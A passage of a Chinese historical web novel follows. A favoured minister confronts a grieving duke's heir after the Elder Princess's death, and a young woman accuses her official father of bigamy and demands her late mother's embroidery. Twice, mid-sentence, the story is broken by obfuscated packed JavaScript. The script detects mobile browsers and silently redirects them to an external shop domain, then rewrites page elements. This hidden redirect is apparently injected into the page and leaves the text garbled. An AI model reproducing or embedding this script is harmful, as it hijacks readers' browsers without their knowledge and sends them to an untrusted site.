高处不胜寒,他变得猜忌易怒,当然,或许他本来就是容易猜忌之人,他总觉得顾家能够扶持他上位也能将他废弃,可是他又不能轻易动顾铭——顾铭继承爵位之后,掌握着朝廷三分之一的兵力,而且顾铭在军中威望甚高——就算顾铭自己愿意交出兵权,其他人也不愿意他退,边境的形势,也容不得他退。 成国公是没有野心的人,他能猜到先帝的心思,也明白先帝的忌惮,可是他也知道自己暂时还不能退,得给他时间——他中年才得一子,给独子取名顾闲,跟先帝说希望这个孩子往后只做个富贵闲人便好,其他的不奢求——其实就是委婉跟先帝允诺交权的意思,只不过不是当下而已,毕竟在他看来,朝廷以及陛下仍需要他,他不可能说退便退,那太不负责。 先帝帝位不稳,内有手足虎视,边境他国环伺,内忧外困,顾铭他不能退,不敢退。 他要为先帝再守些年江山,待得四海皆平,他便交还手中兵权,带着妻儿过太平日子。 然而先帝不信他。 先帝不能离了顾铭,他不能不用顾铭,他害怕顾铭害怕到不敢面对顾铭,将其派往边境驻守,依旧令其掌管兵马,却又将其幼子留在京中令他们骨肉分离——美名其曰替顾铭照顾他唯一的子嗣,并且早早定了顾闲世子的名分,说是为顾铭免除后顾之忧。 其实说白了,顾闲是先帝牵制顾铭的人质。 顾铭伤病在身,子嗣艰难,又专情,中年才与其夫人孕育一子,而其夫人生顾闲时亏了身子,两人不会再有其他子女,所以顾闲对于顾家而言,弥足珍贵。 但先帝这样的人,对自己的皇子都不上心,更何况是一个质子——即使这个质子大有用处,说是厚待将士幼子,他将顾闲弄进宫便不闻不问——所以最后,顾闲还是被七公主捡走的。 顾闲年纪只比当今陛下小几个月,恰好跟夭亡的十皇子一般大,不知怎么的,后来七公主便唤顾闲“阿十”。 虽然顾闲只在宫中当了几年“质子”,好在有七公主护着,倒也平安无事。 正是因为这一层善缘,后来福王叛乱,前面几个皇子以及八皇子都因此殒命、先帝未留诏书驾崩,当七公主决定拥立九皇子为帝时,成国公第一个站出来支持,当今陛下才得以顺利即位。 陛下初即位时年纪太小,少不更事,也是成国公提议应该由已经是长公主的七公主代为参政议事的,即使之前没有过公主听政的先例。 陛下即位后,七公主变成长公主,依旧还在宫中,顾闲回到顾家,依旧时常进宫——像从前一般,与陛下以及如今封为靖王的十一皇子进学。 她总当他们依旧是需要她护佑的孩童,无论身份变迁,依旧想为他们遮风挡雨。 而如今她已经去了。 顾闲凄然一笑,兴许自己方才的确是听错了,那个小姑娘并未喊他“阿十”。 这世间,只有一个人会唤他“阿十”。 而如今那个人……她已经不在了。 顾闲还是忍不住多打量了宁襄几眼——容貌对不上,年纪对不上,声音对不上,眼前的小姑娘全身上下没有半分长公主的影子,她不可能是长公主的。 这世间再无长公主。 长公主已经死了。 今日听闻噩耗,他本想进宫求证的,可是陛下紧闭宫门,谁都不见。 没能见到长公主最后一面,顾闲倒也希望这是个误会,然而他十分清楚,陛下不会拿长公主的死来开玩笑。 长公主是真的去了。 长公主进宫之前最后见到的人是她的驸马,镇抚司指挥使卫显。 陛下不见任何人,这个“任何人”里,包括了自小一起长大的顾闲,包括了血脉近亲靖王昱王,也包括了卫显。 卫显是长公主的驸马,也是陛下近臣,当然,更多人觉得他是陛下佞臣。 他出身微末,无甚根基,若没有陛下护他,走不到今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484426|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天这一步。 但是今日卫显与其他人一样,都被拒在宫门之外。 顾闲探究的目光看向卫显,眸色加深,不过并没有直截了当地质问出来。 长公主身子自小康健,除了十二岁那年大病不省人事了半年以外,几乎没有过大的症候,她是长公主,陛下专门给她拨了好几个御医,御医们每日替她诊脉,也都说她身子无恙,按理说不可能出什么意外——然而她突然便去了。 要说其中没有猫腻,顾闲不信。 长公主的丧仪由皇宫接手,作为驸马的卫显却被排除在外——是不是陛下也在怀疑长公主的死跟卫显有关? 这么重要的日子里,卫显却似乎有些无所事事,居然有闲心多管闲事——当然,也有可能是故意跟顾闲叫板,给顾闲找不痛快。 卫显一直以来便跟顾闲不对付。 陛下即位之后,顾闲便回了国公府,因着顾铭从龙有功加之长公主信任,陛下对顾家也十分恩赏,何况长公主也对顾闲爱护有加——卫显上位之后,人人都惧怕他,但是他也不是一直都是一往无前的。 成国公世子顾闲,便三番五次与他作对,然后还能全身而退。 顾闲也是唯一一个一直与卫显不对付却还能一直活到现在的人。 长公主说顾家世代忠良,顾闲是成国公的唯一血脉,成国公在在军中朝堂在民间都有威望,顾闲是顾铭唯一血脉,绝不能伤害顾闲寒了忠臣良将寒了天下百姓的心——所以无论顾闲怎么给卫显添乱,卫显始终没有痛下杀手。 旁人都说,那是因为长公主的缘故。 不过如今长公主已死,卫显如今看起来,似乎不打算再“忍让”。 顾闲能感觉得到,卫显此时插手多管闲事,明显是不安好心。 “我知你忍耐多年早已经是迫不及待,”顾闲出声警告他,“但是今日、至少今日——你最好别造杀业!” 卫显嗬嗬一笑:“你倒也不必如此防备我——其实……我也是个好人的。” 他说出这样大言不惭的话,别人面上不敢说什么,心里却都是在腹诽——他若是好人,这世间便没有坏人了。 “其实,我也曾想做个好人的,”卫显声音低低的,“曾经有个人……一直希望我能做个好人。” 然而那个人……终究是不在了。 卫显面上浮过一阵冷意,看了看皇宫的方向,回头看向宁家的方向:“进去吧。” 他不理会顾闲,也不看宁襄,径自走到宁府正门之前,目不斜视:“还不开门?” 他一身孝服,没有半分着孝登门十分失礼的自觉,李茂也不敢挑他的礼,赶忙命人开了正门,又吩咐人赶忙去通知老爷夫人。 门开了,卫显却不进去了,就堂而皇之立在门口:“既然你去叫了人,那便把人叫过来,便在这里审理吧。” 他看了看人群一眼:“既然来了,那就都留下听听吧。” 宁襄不发一言,不过她也的确不愿意进宁府,想了想,便也没有出声拒绝。 顾闲也不说话,只是盯着卫显,眉头轻蹙。 碍于卫显的“声威”,别人都不敢凑近但是也不敢离开,就这么不远不近地候在一旁。 卫显似乎才想起宁襄这个“苦主”一般,扬着下巴:“姓甚名谁?” 事到如今,闪躲避让反而令人生疑,既来之则安之,虽然不清楚卫显为何突然“大发善心”“主持公道”,但兵来将挡,见机行事便是——宁襄抬头:“国子监司业宁海长女,宁襄。” “‘襄’?”卫显皱了皱眉头,不由自主追问道:“哪个字?” “襄助的襄,”见对方眉头没有松开,知道这样说容易误解,宁襄顿了顿,还是老实答道:“怀山襄陵的襄。” 听到这样的解释,卫显眉头更是紧皱:“回头把这名字改了。” 命令的语气里,带着一丝不容辩驳的威逼。 5. 005 名字 “那怎么行!” 宁襄没说什么,姚嬷嬷却已然开口,她多年一直跟着宁襄住在南边的小县城上,对于京城之事并不熟悉,虽然先前被卫显以及他身边的缇骑下了一跳,此时却又忘了,听到卫显开口命令宁襄改名,自是不愿意:“好端端的为何要让我家姑娘改名?” 卫显眼神冷冷投过来,他身边的缇骑眼看着要过来,宁襄拦住姚嬷嬷,姚嬷嬷压低了声音:“我家姑娘用了十几年的名,总不能说改就改吧?” 卫显收回目光,声音低沉:“这个字,不是谁都配用的。” 宁襄对着姚嬷嬷摇头,对卫显那边却又低着头,并不愿意直视其锋芒:“是,我回头便改。” “倒也不必,”顾闲看着卫显,在场众人之中,怕是只有他明白卫显此举是为何,不过他只是摇了摇头,“本朝不似前朝,她以前常说,处在高位之人,名字不该为人所避忌,否则只会给百姓带来不便,也会给后人造成麻烦,朝野上下无需避讳陛下的名,想来对于自己的名她也是一样的看法。” “一个字而已,谁都能用,”虽然明白卫显的意思,可是顾闲不赞同卫显的做法,“她不会想看到这样的情形的。” 长公主的名讳,也是一个“襄”字,别人都叫她长公主,但鲜有人知道长公主名讳“元襄”——而顾闲和卫显,恰好在为数不多知道的几个人里。 “就是!”姚嬷嬷回过神来,见卫显将缇骑召回,心慌甫定,然而到底还是有几分不甘心,小声嘟囔道,“我家姑娘的名,还是长公主给取的呢!凭什么不能用!” 从头到尾都没有看过宁襄的卫显闻言将眼神投向宁襄:“是吗?” 宁襄能说什么?她只能硬着头皮回答:“据说是的。” 卫显便这样一直看着宁襄,眸色阴沉,也不说话,不知道他在想些什么。 许久之后他才开口:“为什么?” 为什么长公主要给宁襄取了跟自己一样的名? 这个问题宁襄不知道如何回答,只能道:“我不知道。” 卫显看着她:“你今年年岁几何?” 宁襄倒也不惧:“十五。” “十五……”卫显喃喃念着,依旧盯着前方宁襄的所在,眼神却飘忽起来,仿佛看的并不是宁襄,而是透过宁襄看别的什么人,他幽幽一叹,声音低沉几乎不可闻:“我第一次遇见她时……她也是差不多这样的年纪。” 宁襄有些惊讶也有些莫名——可是外边那些说书人口中,卫显和长公主初遇应该是在长公主十七岁的时候呀。 果然说书人的话信不得。 至少她的认知里,长公主第一次见卫显……并不是在那么早的时候。 顾闲也微微蹙眉,不知道在想什么。 “然而你不是她,”卫显收回游走的神思,又细细打量了宁襄一眼,摇了摇头:“年纪对不上,样貌对不上……性情也不一样。” 这话宁襄没法接,他跟顾闲一样,似乎都误解了什么。 卫显回过神来,转向姚嬷嬷:“什么时候的事?”他倒是不直接问宁襄——似乎认定了宁襄不会知道。 “卫、卫大人!”宁海听闻卫显如今在自己府门之外候着,本想从角门逃跑的,可是到底不敢,思虑了这许久,终究还是打算来“自首”,他跌跌撞撞冲过来跪倒在卫显不远不近的地方——既有诚意能让人觉得他“认罪”态度良好,又不至于太靠近让卫显身边的缇骑一抬手就结果了自己的命,他跪在那里,抖如筛糠,虽然做好了被无端降罪的准备,但还是想争取一下,“不知大人今日过来,有失远迎,下官实在是、实在是抱歉得很。” 宁海的国子监司业是五品官,卫显的镇抚司指挥使是四品,说是“下官”倒也不算错,当然宁海如今已是不惑之年,卫显与长公主年龄相若,还未到而立之年,宁海却在卫显面前如此做小伏低,看起来难免荒诞。 宁襄叹了口气。 卫显并不理宁海,只是盯着姚嬷嬷,等她下文。 “那是陛下即位之后刚改元那一年的三月,”姚嬷嬷被卫显盯着,这才有些后怕,然而知道这时候不该有所隐瞒,加之还是想着替宁襄讨个公道——虽然她也隐隐察觉卫显来者不善,不过这时候若是不说真话也不行,只好硬着头皮继续道:“那日是府上二姑娘的洗三宴……” 宁海后娶的妻子是当时自己的座师之女陶氏,而这么多年过去,陶氏的父亲陶卓如今已是大理寺卿——大理寺主刑狱,大理寺卿的官职还比卫显的镇抚司指挥使高了一品,但是对上卫显,宁海心中依旧没什么底气。 被卫显拉下马的官员,比陶卓官高的比比皆是,再者说大理寺与镇抚司之间难免会因案情而有所牵扯,镇抚司在卫显指挥下,多次越过大理寺和刑部——大理寺卿对于一般人而言已经是位高权重了,然而并不被卫显看在眼中。 卫显早看大理寺不顺眼,如今因着这种小事登门——在宁海看来,卫显绝对不是出于公正,肯定是想借题发挥—— 这样一想,路上粗粗听下人说了前情的宁海看向那个可能、应该是自己长女的年轻女子面色难免不善——这个女儿生来似乎便是克他的,十二年前害得他被长公主厌弃,十二年后又招来卫显给他晦气。 他后来的岳丈是大理寺卿,还曾多次主持科举,门生故旧不胜枚举——他摒弃了糟糠之妻娶了座师的女儿自然是想更进一步——然而他爬了十数年,如今却被一个不到而立之年的卫显欺压到头上。 宁海心中不可能没有不满,然而这满腔的愤懑也不敢在卫显面前表露出来——卫显之所以能行事无忌,自然是因为他背后有陛下撑腰,何况他还是长公主的驸马——虽然别人都觉得长公主好,但是宁海不觉得,即使长公主没有明面上打压过宁海,然而宁海认定自己多年不能高升的原因是定然是因长公主的缘故,所谓上行下效,长公主当年为宁襄出头,别人肯定觉得长公主看不上宁家,陛下一向敬重长公主,长公主不喜欢的人自然不可能大用、进而出现在长公主眼前碍着她的眼,所以宁海觉得自己爬了十几年依旧升迁缓慢,是长公主的原因。 长公主与宁家似乎生来不对付——她活着的时候,因为她的不喜,宁海难有高升的机会,如今她死了,她的驸马却在这时候登门问罪……宁海不觉得卫显是“好心”要替自己那个长女出头,卫显此人跟“好心”二字根本搭不上关系,卫显就是找个借口迁怒宣泄而已,只不过刚好路过宁家门口、刚好遇着宁襄、刚好宁襄跟长公主有那么一丝的牵扯让他逮着机会借题发挥而已。 想“明白”了今日的无妄之灾因何而起,宁海心中十几年积攒起来的一丝丝不满尽数向宁襄身上聚去,不过还有一个煞神需要应付,面上不敢显露分毫,依旧是恭敬万分,“卫大人光临寒舍,下官不胜荣幸……还请大人入内上坐——” “不必了,就在这里说吧,”卫显随口敷衍一句,连正脸都没看宁海一眼,只是盯着姚嬷嬷,继续等她下文,“然后呢?” “那日府上宴请了许多人,”那时候宁海风头无两意气风发,有新岳丈做靠山,官运亨通指日可待,所以宁二姑娘的洗三宴十分隆重,当然,即使有陶家撑腰,以宁家的门庭,也请不来长公主这样的人物,可是那一日,长公主却突然出现在宁家出现在宁襄的住处之外——说起这事,姚嬷嬷也是有些疑惑的,“我家姑娘那日恰好病了,继夫人身边的管事嬷嬷说大喜之日请大夫不太吉利,让奴婢与姑娘先忍着,外边人拦着不让奴婢出去……奴婢急得正不知如何是好时……门被人推开……长公主走了进来……过了一会御医也来了……御医说……幸好来得及时……若是再晚半刻,只怕我家姑娘纵然能得活命日后也要变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484427|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成个傻子。” “若不是长公主……奴婢真不知我家姑娘会如何……”姚嬷嬷一脸感念,双手合十,“长公主大恩大德……幸好我家姑娘无事……否则奴婢真不知日后能以何面目见我家夫人!” 听到姚嬷嬷说长公主好话,卫显神色稍霁,却还是有一事萦系于心:“那你家姑娘的名字是如何来的?” 坊间长公主的传闻甚多,但是多是几年后的传闻,她与宁家这一段故事倒是几乎无人知晓——长公主做了这事不会到处宣扬,宁家也不会把自家丑事说出去自取其辱,所以卫显倒是第一次听说这一段旧闻。 “那日大夫替我家姑娘诊治的时候,长公主一直在一旁没有走开,等到大夫说无恙了,她才走过来……”姚嬷嬷眯眼回忆着,“那时正是黄昏,长公主背光走来,身后带着金光……仿佛菩萨真身……” 这种话,换了旁人早嫌她言之无物絮絮叨叨了,但卫显却难得地没有燥郁打断她,反而是随着她的话微微点了点头,幅度太轻,无人察觉。 “她走到奴婢跟前,伸手想要摸一下我家姑娘的脸……然而没摸到便又收回了……”姚嬷嬷也知道自己偏题了,努力回想着,“长公主退后了一步,看了半晌我家姑娘的模样,问奴婢我家姑娘可有取名。” 姚嬷嬷摇头:“初来京城,夫人便大病亡故了,宁大人从来不来看我家姑娘……继夫人也不闻不问……是以我家姑娘一直也没个名字……” “长公主听奴婢这样说,面上应该很是心疼,”姚嬷嬷顿了顿,“然后长公主说她要为我家姑娘赐名——这便是我家姑娘名姓的由来!” “我家姑娘的名是贵人恩人所赐,”姚嬷嬷壮着胆子把自己说了这么多话的目的说出来:“所以请大人恕罪——我家姑娘不改名!” 旁人听到姚嬷嬷如此违逆卫显的话,都有些为她担心:卫显是什么人?他怎么可能因为姚嬷嬷讲的故事而改变主意—— “既如此,那便不必改了吧,”孰料卫显今日却的确是有些怪异,都以为他会让人处置了姚嬷嬷的时候,他声音倒是平静,“除了这些,她、她……可还有别的话?” 姚嬷嬷有些不明所以:“大人想问什么?” “她——”卫显指了指宁襄,眼睛却只是盯着姚嬷嬷,喉间动了动:“她为何……” 即使姚嬷嬷说了这么多,也没能说明为什么长公主要替宁襄取名“宁襄”,卫显也知道问不出——卫显怔了一瞬:“你家姑娘离京居养……她、她……没有说什么吗?”既然眼前的“宁襄”当年的小孩入了长公主的眼,长公主又怎么会放任宁家将人送走……依着长公主那么喜欢收留别人的性子……卫显看了顾闲一眼,轻轻摇了摇头,以长公主那什么阿猫阿狗都往府上带的性子,长公主居然不亲自抚养宁襄——这不符合常理。 “送走姑娘是长公主的意思,”姚嬷嬷知道卫显不生气,也知道他是想多听长公主的事,倒也没有隐瞒,“长公主说我家姑娘不适合住在京城住在宁家……她好像低声说的什么不能两全之类的话……随后便命奴婢将姑娘带回夫人祖籍抚养……还说……让姑娘及笄之后再回京城看看……” 因为长公主说了及笄,所以宁家纵然希望宁襄从此在普阳自生自灭,也还是得每年往普阳县送年例——当然,其中免不了有些克扣试探长公主是不是仍记得这个孩子,虽然长公主这么些年似乎对宁襄不闻不问,可他们不放心,到了日子还是派人去将宁襄接回来了——未尝没有试图通过这个女儿讨好长公主的意思,至于给宁襄下马威,当然存了打压的心思,想让宁襄折服,希望这个女儿在他们掌控之下。 旁人难免唏嘘——生母亡故,生父忽视甚至迁怒,后院还有继母弟妹……宁襄孤立无援,唯一的倚仗便只有长公主多年前的垂怜一顾,偏偏她回京这一日,居然成为了长公主忌日。 6. 006 状告 卫显看了宁海一眼,转向宁襄:“凭你与她这段渊源,今天这头我替你出了——你想要什么?” 那语气仿佛无论宁襄想要什么他都能给——他的确有那个能力。 可是想也知道,让他插手的话,事情便不可能一了了之,外界传闻,在卫显手中无小罪,只要经过他的手,都是不赦之罪——宁海不无辜,宁家其他人也不无辜,但要卫显来定罪的话,也还是量刑过重。 宁襄并不希望卫显插手。 该属于她的公道,她想要讨回,但不应该也不至于去构陷,那样就不是公道了。 宁襄没有开口,姚嬷嬷偷偷扯了扯她袖子:“姑娘?” 宁襄回过神来,摇了摇头:“不劳——” “嗯?”卫显朝她点了点下巴,虽然只有一个字,但是在外人听来,意思可多了——卫显要帮忙出头,机会难得,可别不识抬举。 “这是我与宁家之间的事,”宁襄还是坚持:“是私事而已,不劳大人费心。” 卫显闻言偏头盯着她,他眼神摄人,但是宁襄并不惧,报以回视。 两人眼神僵持了许久,居然是卫显先收回了目光,他低着头,盯着手指上的玉扳指,再抬起头,眼睛里多了一丝光芒,他双唇轻轻碰了一下,似乎在品味着什么珍馐佳肴,他的眼神仿佛是猛兽发现了猎物一般,带着某种势在必得的渴望:“我先前说错了,你眼神像她。” “这么好看的眼睛,若是见了血只怕就脏了,”卫显起身,走到宁襄跟前,盯着她的眼睛,“既然你坚持,那便如你所愿吧——” “算你们运气好,我今日不想脏了自己的手,”卫显并不多看宁襄,甚至没有看向宁海,他看起来似乎是不打算再管,然而却没有走,将一个缇骑招来,吩咐道,“把余秋带过来。” 余秋余大人,京兆府尹。他的语气听起来,却像是叫人提一个犯人过来一般随意。 宁襄皱眉,想说什么,但想了想,还是住了口。 卫显不理会宁海,宁海也不敢说话,一群人在宁家门口静默地僵持着,过了一会先前离开的缇骑策马归来,马背上还带了一个人,那人被横放在马背上,被扔到卫显跟前不远处,那是一个干瘦的小老头儿,被这般屈辱地带过来,明明方才面上还是一股气的,此时从地上爬起来,脸已经皱成了菊花:“不知卫大人召下官前来,是为何事?” 京兆府尹的品阶比卫显的镇抚司指挥使高,余秋在卫显面前却口口声声“下官”,卫显也不纠正他的错误,指了指宁海和宁襄:“这里有一桩诉讼,余大人作为京兆府尹,这是你分内之事,好好审理吧。” 余秋心中骂骂咧咧——卫显过去插手的,哪一件不是别人的“分内之事”?过去卫显何时因为这样的缘由便高抬贵手过?如今却突然将他掳来,口口声声说是他的“分内之事”——面上却是谄媚道:“这诉讼该如何审理,还请卫大人示下?” 卫显看了宁襄一眼:“公平审理即可。” 这话完全是废话——心中这样想着,余秋嘴上却不敢说出口,看了看两个事主:“状告者何人?” 宁襄迟疑了一瞬,卫显既然执意要插手此事,再与他作对似乎并不是明智的选择,何况她本来便要去京兆府的,如今既然余秋人在这里—— 宁襄上前一步:“是民女。” “本朝律例,子告父,鞭二十,再论罪,”宁襄向前一步,行礼道,“民女愿受这刑罚,但要告宁司业停妻再娶、忘恩负义、抛妻弃女!” 长公主这些年一直想修改律法,然而那些大臣们百般阻止,即使今日,这条律法依旧存在,所以宁襄想要跟宁家断了关联,还是得经过这么一遭——虽然她觉得不应该也不值得。 “孽障!你胡说什么!”宁海气得瞪眼,“你这不孝女!不用等余大人动刑,我先打死你算了。”然而他也只是说说而已,并不敢真的动手——卫显和他的缇骑还在。 这么多人看着,今日不管宁襄这状告不告得成,他宁海以后都要成为全天下人茶余饭后的话柄,他本就无望的升迁,更是成为泡影—— 这样一想,本就对这个女儿不喜,如今更是厌恶了几分。 “大人别听她胡说,”即使心中不喜,他也不能任由宁襄继续说下去:“宁襄!还不快跟为父回家……在这里胡言乱语让外人看了笑话!” “我知道你是怨我们把你送走,你是因为自小不在我们身边长大所以对家人生分了,”宁海一脸“大度”,抬手摸了摸眼角:“我不怪你,但送走你是长公主的意思……为父也是不舍得很啊……这些年里,每到夜深人静之时,想到我儿远在千里之外一个人无依无靠……为父心中也着实是难过得很啊。” 宁襄静静看他做戏,等他演完了,方才开口:“我不是胡说,我有证据的。” 她从包裹里拿出一封信函:“这是宁司业当年写给先母的休书。” “休书落款为庆熙十五年四月十七,”宁襄看着宁海冷笑:“宁司业再娶,是在庆熙十五年四月十八——” “你既然知道又何必在这里攀扯诬告?”宁海听她说完两个日期,自觉心中大定:“休妻在前续娶在后——无论如何算不上停妻再娶吧?” “为父知道,你是因为为父再娶而对为父生了嫌隙,”宁海继续假装大度:“为父不怪你……只是怜惜你这么多年长在外边……怕是被有心人误导了。” “姚嬷嬷!”宁海指着宁襄,手指迟疑了一瞬,转而对着姚嬷嬷严肃道:“本官将女儿托付给你——万万没想到你居然是如此包藏祸心之人——故意挑拨我们父女关系!” “宁司业不必攀扯无辜之人,”宁襄挡在姚嬷嬷身前:“只说你停妻再娶之事不要攀扯其他。” 宁海瞪她:“本官说了,休妻在前续娶在后——算不得停妻再娶!” “且不说这四月十七的日子是真是假,就算是真的吧,那敢问休书是何时寄出的呢?”宁襄看着宁海:“从京城到宁司业的祖籍普阳县,快马加鞭也要行一个月才至,我这次从普阳入京,路上花了两个月。” “休书送出,先母还未收到休书,婚姻依旧有效,然而宁司业写出休书的第二日便忙不迭地娶了别人,”宁襄将信展开,“宁司业休妻的理由,是说先母无子——” “可是宁司业进京赶考之时,”宁襄戳穿他,“先母明明已近临盆——宁司业不至于眼瞎到这也看不出来吧。” “哦对了,明明妻子即将临盆,宁司业却偏要赶在那时候提早上京,说是为了赶考——”宁襄停顿了一瞬,“但未免过于自私且不负责任。” “沈氏嫁入宁家七年,才生了一个女儿——”宁海面色如常,嘴硬道,“不是无子是什么?” “好,就算宁司业因为无子休妻吧,”宁襄上前逼近宁海,“七出之外尚有三不去——有所娶无所归、与更三年丧、娶时贫贱后富贵。” “外祖沈家,只得了先母一女,九成家资作为嫁妆随嫁宁家,沈家二老意外身亡,宁家二老先后病重过世,先母为替宁家二老治病,且供宁司业求学,变卖嫁妆倾尽所有,沈家已经无人不可回,先母又为宁司业父母守满了孝期——”宁襄扬着手中的休书,“而宁司业花着先母的嫁妆靠着先母供养一朝高中,为了迎娶座师之女写休书令先母下堂——” “这休书不具效力,宁司业停妻再娶是为事实,”宁襄拿着休书上前一步,“我这次来京城,便是为这事而来。” “当初先母收到宁司业的休书,是在我周岁之时,”宁襄颔首,“这日子倒是对上了,这休书在路上走了两三个月。” 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“当初先母一路跋涉到了京城却发现宁司业已经再娶,宁司业长子与我年岁差不足两岁,而陶氏腹中还有一个孩子即将临盆——”宁襄笑得苦涩,“先母为了我,将此等委屈咽下了,她不打算告发宁司业,可是一路餐风露宿却无事的先母,却在进京不到半年死在了宁家——” “你这话是什么意思,”宁海怒喝着打断她,“沈氏那是身子亏损了……药石无效!” “是啊,先母是‘病故’的,”宁襄扯着嘴角,“而我也差一点就‘病故’在宁家的后宅。” “为父不知道你受了何人挑唆,这般颠倒是非黑白污蔑为父,”宁海镇定下来,“但你说的这些,都不是实情……你那时候才多大……你什么事都不知道,没有证据的事,不要妄言。” “对,先母亡故的原因我没有证据,”宁襄看着他,“但宁司业停妻再娶总是事实。” “你疯了吗!”宁海叫嚣着,“我是你父亲你非要把我拉下马……对你有什么好处!” “没什么好处便不去做了吗?便任由作恶者心安理得身居高位没有半分愧疚吗?”宁襄将休书呈给余秋,“请余大人秉公执法,宁襄愿领刑罚,状告宁司业——宁海停妻再娶。” 宁襄正色道:“本朝律例,停妻再娶者,杖二十,徒一年,褫夺其功名,革其官位,不复用。” 余秋看着她,有些唏嘘:“宁司业是为汝生父,他丢了官你也必受牵连,伤敌一千自损八百——值得吗?” “不值得,但真相总要有人说出口而不是永远埋藏,”宁襄苦笑,抬头望向远处的宫城,眼神幽深,“死人不能再开口替自己申冤辩解,活着的人……总要做些什么。” 余秋叹气,随口问道:“你还有别的要求吗?” 他以为宁襄大概会求情免了处罚然而宁襄顿了顿:“有的。” “当着众人的面,我要与宁海断绝父女关系,”宁襄视线落回身后的宁府,“我还要向宁家要回先母的遗物。” “外祖沈家,以绣艺传家,传至先母,更是技艺出超,也正是因为如此,才能供养宁司业如此挥霍最后取得功名,”宁襄低头,“先母早年见的绣品既已卖出,银货两讫,断无追回的道理。” “可是先母过世前最后一幅绣品,那是先母半生心血——”宁襄看向宁海,“如今应该是在陶家收着,陶家没有出银钱买下这幅绣品,那绣品依旧还是属于先母的,先母若是有知,绝不会将那幅绣品送给夺了自己丈夫的陶氏的娘家。” “再说了,陶家也配不上那幅绣品,”宁襄退后一步,不介意把更多人拉下水,“先母那幅绣作,本来是州府请先母绣好后进献给先帝的,先帝驾崩后,那幅绣品,理应是献给陛下的,却被陶家巧取豪夺了。” “那是要献给陛下的贡品,陶家将其据为其有——”宁襄顿了顿,继续道,“陶家是有不臣之心吗?” 7. 007 不必 “放肆!”余秋轻喝了一声,朝堂上下,都知道卫显跟陶卓不合,余秋看了卫显一眼,怕卫显借题发挥,“陶大人是朝廷命官、大理寺卿……岂是你能污蔑的!” “你休要胡说!”宁海也喝道,“你母亲一个乡野女子,籍籍无名,不过就是略懂些绣艺罢了,哪里就能是要给陛下的贡品!你为母不平攀扯我便罢,何必口出狂言胡乱攀咬他人!” “乡野女子,略懂些绣艺?”宁襄只觉得好笑,“若只是一般的绣艺,如何能够供得起宁司业读书乃至进京的花销?” “先母姓沈,闺名‘慧’,旁人称其为‘慧娘’,”宁襄没有避让,“就算十几年前,哪怕先母从未离开过普阳县,绣艺在州府已经是扬名——宁司业你倒是好意思觍着脸说先母‘籍籍无名’。” 卫显听到此处,不由得坐直了身子,插话道:“若真是沈慧,那的确不能算是‘籍籍无名’。”十几年前不好说,但如今——谁人不知元襄最爱的便是沈慧的绣作,因她的缘故,京中许多绣娘都会模仿沈慧的绣技,但大多只得其形不得其神。 他不由得又看了宁襄一眼——倒没想到宁襄跟长公主的渊源似乎还挺深。 “大人明鉴,民女并非是想要攀扯陶大人,”宁襄看着余秋,“也许陶大人不是故意的,只是刚好在宁家看到先母的遗作,而宁司业作为陶大人的女婿和学生,投其所好也是有可能的——无论如何,这东西如今就在陶家。” “若是寻常绣品便罢,但这幅绣品不是,”宁襄摇头,“这幅绣品是先母遗作又是要进献给陛下的——本就不该落在陶家。” 余秋又看卫显:“卫大人……这事你看?” “既然事关陶大人,”卫显神色随意,“那将陶大人‘请’过来对峙吧。”他说的“请”字刻意加重,任是谁都听出他话里的不怀好意——这个“请”绝对不是简简单单客客气气的“请”。 “不必,”宁襄摇头,“这事与陶大人牵扯不大,我所求的,只是先母的遗作而已,只需要把东西给我便是了。”陶卓固然有问题,但是如今并不适合将太多的人拉扯进来。 卫显依旧叫了缇骑过来:“你往陶家去一趟,找到她说的绣品,问问陶卓的意思,若是陶卓愿意原物归还便将东西带回来,若是陶卓不愿意……就让陶卓自己过来一趟吧。” 余秋见人走了,又小心问卫显:“那这案子……就等陶大人来了再审?” 卫显不置可否,手点着额头不知道在想什么。 他不发话,余秋也不敢继续审,一群人就这么等着,京城不许纵马,但离开的缇骑却是策马离开的,原以为要等很久,那提起很快又回来了,胳膊上抱着一卷半人高的卷轴。 “陶大人听说了这边的事,让人把东西送过来,”缇骑将东西捧在卫显眼前,“大人需要验看一下吗?” 卫显手指一挥:“给原主查验吧。” 他低头思索着什么,半晌抬起头冷笑:“我还以为陶大人会跟我当面对峙呢。” “只是没想到,陶大人到底还是胆子小了些,”卫显轻轻摇头,一脸惋惜,“真是可惜了。”可惜陶卓没有给他机会借题发挥。 缇骑裹挟着卷轴走到宁襄身前,面色不善,似乎想将东西直接扔在宁襄前面,宁襄喝道:“小心,这是献给陛下的若是污损了的话,你可担待不起。” 缇骑的手僵住,身后卫显出声道:“倒也是,给她罢。” 缇骑闻言维持着捧着的动作,宁襄从他手上将东西接过——卷轴比意想之中的重,接过的那一瞬间宁襄身子差点站不住,不过她还是站直了身子。 她抱着沈慧的遗作,朝着李茂等人道:“搬张案台过来。” 